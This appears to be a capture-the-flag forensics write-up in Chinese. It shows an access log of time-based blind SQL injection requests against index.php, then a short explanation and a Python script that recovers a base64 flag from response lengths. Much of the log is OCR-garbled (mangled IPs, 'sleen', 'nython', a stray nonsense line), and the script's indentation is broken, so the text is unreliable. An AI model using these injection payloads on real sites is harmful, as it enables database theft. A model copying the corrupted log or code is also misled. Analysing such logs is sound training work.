192.168.52.156 (11/Mar/2021:17:50:07 +0000) "GET /index.php?id=1%20and%20if(ord(substr(select%20schemal)) 1 1)=68 sleep(2) 1)+ HTTP/1.1" 200 399 " "python-request/2.21.0"
192.168.52.156 [11/Mar/2021:17:50:07 +0000] "GET /index.php?id=1%20and%20if(ord(substr(select%20schemal)) 1 1)=69 sleep(2) 1)+ HTTP/1.1" 200 399 "" "python-request/2.21.0"
192.168.52.156 [11/Mar/2021:17:50:07 +0000] "GET /index.php?id=1%20and%20if(ord(substr(select%20schemal)) 1 1)=70 sleep(2) 1)+ HTTP/1.1" 200 399 " "python-request/2.21.0"
192168.52.156 [11/Mar/2021:17:50:07 +0000] "GET /index.php?id=1"%20and%20if(ord(substri(select%20schema0) 11))=71 sleep(2) 11-+ HTTP/1.1" 200 399 "-" "nython-request/2.21.0"
192168.52.156 [11/Mar/2021:17:50:07 +0000] "GET /index.php?id=1"%20and%20if(ord(substri(select%20schema0) 11))=72 sleep(2) 1+ HTTP/1.1" 200 399 "-" "nython-request/2.21.0"
19216852156 [1]/Mar/202117:50:07 +0000] "GET /index.php?id=1%20and%20if(ord(substri/(select%20schema()) 1 1)]=73 sleen(2) 1)+ HTTP/1.1" 200 399 "" "nython-request/2.21.0"
192.168.52.156 [1]/Mar/202117:50:07 +00001 "GET /index.php?id=1%20and%20if(ord(substr(/select%20schema0)11)]=74.sleen(2)1+ HTTP/1.1" 200.399 "" "python-requests/2.21.0"
192.168.52.156 [11/Mar/2021.17:50:08 +0000] "GET /index.php?id=1%20and%20if(ord(substr(/select%20schemail) 1 1)]=7 sleen(2) 1)+ HTTP/1.1" 200 399 "" "nython-requests/2.21.0"
192168 52 156 [11/Mar/202117:50:08 +0000] "GET /index.php?id=1%20and%20if(ord(substri(select%20schema0) 11))=76 sleen(2) 11-+ HTTP/1 1* 200 399 "-" "nython-request/2 21 0"
192168 52 156 [11/Mar/202117:50:08 +0000] "GET /index.php?id=1%20and%20if(orr/substri/select%20schema0) 11))=77 sleep(2) 1+ HTTP/11" 200 399 "-" "nython-request/2 21 0"
129 168 52 156 [1]/Mar/202117:50:08 + 10000 "GET / index nho?id=1%20and%20if(ord(substri/Gelect%20schema)) 1 1)=78 sleen(2) 1+ HTTP/1 1* 200 399 "" nuthon-requests/2 21 0"
12916852156 - [11/Mar/202117:50:08+0000] "GET /index nho?id=1%20and%20/fiford(substri/select%20schema)111)=79 sleen(21)-+ HTTP/11*200399 "" nuthon-requests/2210"
12916852156 - [11/Mar/202117:50:08+0000] "GET /index php?id=1%20and%20/fiford(substri/(select%20schema)) 11)]=80 sleen(2) 11-+ HTTP/11*200399 "-" "nuthon-request/2210"
12916852156 - [11/Mar/202117:50:08+0000] "GET /index.php?id=1%20and%20/if(ord(substri/(select%20schema)) 11)]=81 sleen(2) 1)-+ HTTP/11*200399 "-" "nuthon-request/2210"
129.168.52.156 - [11/Mar/202117:50:08 + 0000] "GET /index.php?id=1%20and%20/if(ord(substri/(select%20schema)) 11)]=82 sleen(2) 1)-+ HTTP/1.1* 200.399 "" nuthon-request/2.21.0"
19216852156 [1]/Mar/202117:50:08 +00001 "GET /index.php?id=1%20and%20/if(ord(substri/(select%20schema0)11)]=83 sleen(2)1+ HTTP/1.1* 200 399 "" "nython-request/2.210"
19216852156 [1]/Mar/202117:50:08 +0000] "GET /index.php?id=1%20and%20if(ord(substri/(select%20schema0)11)]=84 sleen(2)1+ HTTP/1.1* 200 399 "" "nython-request/2.21.0"
192.168.52.156 [1]/Mar/202117:50:08 +00001 "GET /index.php?id=1%20and%20if(ord(substr(/select%20schema0)11)]=85 sleen(2)1+ HTTP/1.1" 200.399 "" "python-requests/2.21.0"
192.168.52.156 [11/Mar/2021.17:50:08 +0000] "GET /index.php?id=1%20and%20if(ord(substr(/select%20schemail) 1 1)]=86 sleen(2) 1)+ HTTP/1.1" 200 399 "" "nython-requests/2.21.0"
192.168.52.156 [11/Mar/2021.17:50:08 +00000] "GET /index.php?id=1%20and%20if(ord(substr(select%20schemal)) 1 1)=87 sleen(2) 1)+ HTTP/1.1" 200 399 " "nython-requests/2.21.0"
192.168.52.156 [11/Mar/2021:17:50:08 +00000] "GET /index.php?id=1%20and%20if(ord(substr(select%20schemail) 1 1)]=88 sleen(2) 1)+ HTTP/1.1" 200 399 " "python-requests/2.21.0"
192.168.52.156 [11/Mar/2021:17:50:08 +00000] "GET /index.php2id=1%20and%20if(ord(substr(select%20schemail) 1 1)]=89 sleep(2) 1)+ HTTP/1.1" 200 399 " "python-request/2.21.0"
192.168.52.156 (11/Mar/2021:17:50:08 +00000) "GET /index.php?id=1%20and%20if(ord(substr(select%20schemal)) 1 1)=90 sleep(2) 1)+ HTTP/1.1" 200 399 " "python-request/2.21.0"
192.168.52.156 [11/Mar/2021:17:50:09 +00000] "GET /index.php?id=1%20and%20if(ord(substr(select%20schemail) 1 1)=44 sleep(2) 1)+ HTTP/1.1" 200 399 "" "python-request/2.21.0"
192.168.52.156 [11/Mar/2021:17:50:09 +0000] "GET /index.php?id=1%20and%20if(ord(substr(select%20schemal)) 1 1)=95 sleep(2) 1)+ HTTP/1.1" 200 399 "-" "python-request/2.21.0"
192.168.52.156 [11/Mar/2021:17:50:09 +0000] "GET /index.php?id=1%20and%20if(ord(substr(select%20schemal)) 1 1)=61 sleep(2) 1)+ HTTP/1.1" 200 399 "-" "python-request/2.21.0"
192.168.52.156 [11/Mar/2021:17:50:09 +0000] "GET /index.php?id=1 %20and%20if(ord(substr(select%20schemal)) 2 1)=48 sleep(2) 1)+ HTTP/1.1" 200 399 "-" "python-request/2.21.0"
192.168.52.156 [11/Mar/2021:17:50:09 +0000] "GET /index.php?id=1%20and%20if(ord(substr(select%20schemal)) 2 1)=49 sleep(2) 1)+ HTTP/1.1" 200 399 "-" "python-request/2.21.0"
192.168.52.156 [1]/Mar/202117:50:09 +000001 "GET /index.php?id=1%20and%20if(ord(substr(/select%20schema0) 2 1)]=50 sleen(2 1)+ HTTP/1.1" 200 399 "" "nython-requests/2.21.0"
192.168.52.156 [11/Mar/2021:17:50:09 +0000] "GET /index.php?id=1%20and%20if(ord(substr(select%20schemal)) 2 1)=51 sleep(2) 1)+ HTTP/1.1" 200 399 *- " "python-request/2.21.0"
192.168.52.156 [11/Mar/2021:17:50:09 +0000] "GET /index.php?id=1%20and%20if(ord(substr(select%20schemal)) 2 1)=52 sleep(2).1+ HTTP/1.1" 200 399 "-" "python-request/2.21.0"
192.168.52.156 [11/Mar/2021:17:50:09 +00000] "GET /index.php?id=1%20and%20if(ord(substr(select%20schemal) 2 1)=53 sleep(2) 1)+ HTTP/1.1" 200 399 " "python-request/2.21.0"
192.168.52.156 (11/Mar/2021:17:50:09 +00000) "GET /index.php2id=1%20and%20if(ord(substr(select%20schemal)) 2 1)=54 sleep(2) 1)+ HTTP/1.1" 200 399 " "python-request/2.21.0"
192.168.52.156 [11/Mar/2021:17:50:09 +00000] "GET /index.php?id=1%20and%20if(ord(substr(select%20schemal)) 2 1)=55 sleep(2) 1)+ HTTP/1.1" 200 399 "" "python-request/2.21.0"
192.168.52.156 [11/Mar/2021:17:50:09 +00000] "GET /index.php?id=1%20and%20if(ord(substr(select%20schemal)) 2 1)=56 sleep(2) 1)+ HTTP/1.1" 200 399 "-" "python-request/2.21.0"
192.168.52.156 [11/Mar/2021:17:50:09 +0000] "GET /index.php?id=1'%20and%20if(ord(substr((select%20schema()),2,1))=57.sleep(2),1)+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 [11/Mar/2021:17:50:09 +0000] *GET /index.php?id=1'%20and%20if(ord(substr((select%20schema()),2,1))=97,sleep(2),1)-++ HTTP/1.1* 200 399 *-* * ovthon-requests/2.21.0*
192.168.52.156 [11/Mar/2021:17:50:09 +0000] *GET /index.php?id=1'%20and%20if(ord(substr((select%20schema()),2,1))=98,sleep(2),1)-++ HTTP/1.1* 200 399 *-* * ovthon-requests/2.21.0*
192.168.52.156 [11/Mar/2021:17:50:09 +0000] *GET /index.php?id=1'%20and%20if(ord(substr((select%20schema()),2,1))=99,sleep(2),1) -+ HTTP/1.1* 200 399 *- * ovthon-requests/2.21.0*
192.168.52.156 [11/Mar/2021:17:50:10 +0000] *GET /index.php?id=1'%20and%20if(ord(substr((select%20schema()),2_1))=100.sleep(2),1)-+ HTTP/1.1* 200.399 * ********************************
192.168.52.156 [11/Mar/2021:17:50:10 +0000] *GET /index.php?id=1'%20and%20if(ord(substr((select%20schema()),2,1))=101,sleep(2),1)-+ HTTP/1.1* 200 377 *- * pvthon-requests/2.21.0*
192.168.52.156 [11/Mar/2021:17:50:12 +0000] "GET /index.php?id=1'%20and%20if(ord(substr((select%20schema(),2,1))=102.sleep(2),1)+ HTTP/1.1- 200 399 - J *pvthon-requests/2.21.0*
192.168.52.156 [11/Mar/2021:17:50:12 +0000] "GET /index.php?id=1'%20and%20lf(ord(substr((select%20schema()),2,1))=103.sleep(2),1)+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
Stitues (Malere excels

发现每一位中的这些测试包,都有一个包长度与其他的不一样,那这一位应该就是正确的flag,直接用Python简单处理下

```
from base64 import *
flag = ''
with open('access.log','r') as f:
    lines = f.readlines()
    for line in lines:
        if "select%20flag%20from%20flllag" in line:
            packet_len = line[line.find(' 200 ')+5:line.find(' "-" "python-requests/2.21.0"')]
            if packet_len == '377':
                ascii_code = line[line.find('))=')+3:line.find(',sleep')]
                ascii_str = chr(int(ascii_code))
                flag += ascii_str
                else:
                pass
else:
               pass
print(b64decode(flag).decode('utf-8'))
```

flag{You_are_so_great}